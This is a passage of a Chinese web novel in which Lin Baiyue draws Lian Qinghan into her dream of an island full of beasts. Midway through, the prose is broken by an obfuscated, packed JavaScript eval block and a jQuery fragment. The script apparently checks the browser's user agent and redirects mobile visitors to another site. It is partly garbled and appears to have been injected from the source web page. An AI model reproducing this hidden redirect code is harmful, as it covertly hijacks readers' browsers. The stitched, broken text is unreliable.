一只骨节分明的手伸来,从她掌心取走那只即将被遗弃的“小狐狸”,捏在手中。
“多谢。”
他缓缓吐出两个字,唇角微扬。
等等!他笑了?
他笑了对吧?他竟然笑了!?
林白月一脸呆滞地看连倾寒举着一簇不伦不类的狗尾巴草微笑,仿佛看到火星撞地球,瀑布水倒流。
瞧瞧,笑起来多好看,仿若玉树生花,檐雪消融。平时不苟言笑,真是白瞎了这俊俏的脸!
林白月还没高兴够,连倾寒就又恢复成平时的样子,当即大为不满:
“你怎么不笑了?小狐狸我编了好久呢,可爱吗?喜欢吗?行了,我知道你肯定不愿意承认。没关系,不如,你吹首曲子给我当做回礼吧!”
连倾寒张了张嘴,似乎没想到有人当场要回礼,顿了顿,才取下洞萧放在唇边,缓缓吹起一首曲子。
玉萧声动,低沉幽咽,一时如落空谷,一时若处幽篁。萧声绕过林白月发上的玉簪,攀上滴雨的屋檐,穿越弥弥水雾,与雨声合为一体。
一曲毕,连倾寒转头,发现林白月竟然趴在桌子上睡着了。
她眼底略有些青黑,似乎昨晚睡得不太安稳,这会儿伴着雨声萧声睡得正香。
可是没过一会儿,又开始蹙眉轻哼,表情变得不安,仿佛在做什么噩梦。
连倾寒起身,准备把人喊醒,刚碰到林白月的肩膀,一股莫名的吸力猛地将他拉过去,天旋地转,等他站稳脚步,发现自己出现在一个从未见过的地方。
似乎是一座不知名的岛屿,四周被碧蓝海水包围,白浪逐沙,海鸟飞掠,咸湿的味道让他皱了皱眉。
“啊啊啊啊啊!”
一阵熟悉的尖叫声由远及近,林白月夺命狂奔,后面跟着一群……张牙舞爪的凶禽猛兽。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534859|186500||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
林白月一打眼看见连倾寒,差点喜极而泣,冲着他跑来。
连倾寒向前走了几步,一把拉住她的手臂,脚下运气,健步如飞,登时与那群野兽拉开了距离。
岛中央是一片茂密森林,连倾寒拉着人走进去,左拐右拐,躲在一块巨石后。
两人眼看着那些野兽失了方向,才稍微放下心来。
林白月登时四仰八叉地躺倒在地,刚才被追了一路,差点命丧兽口,这会儿疯狂奔跑的疲累与难受才逐渐显露,她大口喘着气,太阳穴突突直跳。
连倾寒在旁边安静地看着,等她气息平稳了,开口道:“这是什么地方?”
林白月偏头,略微睁开眼看他,答非所问:“天天梦见你,这一回是真有用。”
“梦见我?”
跟前几次一样,林白月知道自己在做梦,但还没到醒的时候,她没法离开梦境。
本来今天梦中的场景换了一个,她还以为不会再梦到连倾寒了,不过见到那群尖齿利爪、穷追不舍的野兽后,林白月突然就想梦见他了。
没想到连倾寒真的从天而降。
林白月坐起身,豪情万丈地拍拍他的肩膀:“多谢啦,等醒了,我再给你编个小动物,你想要啥尽管说。”
连倾寒怔了一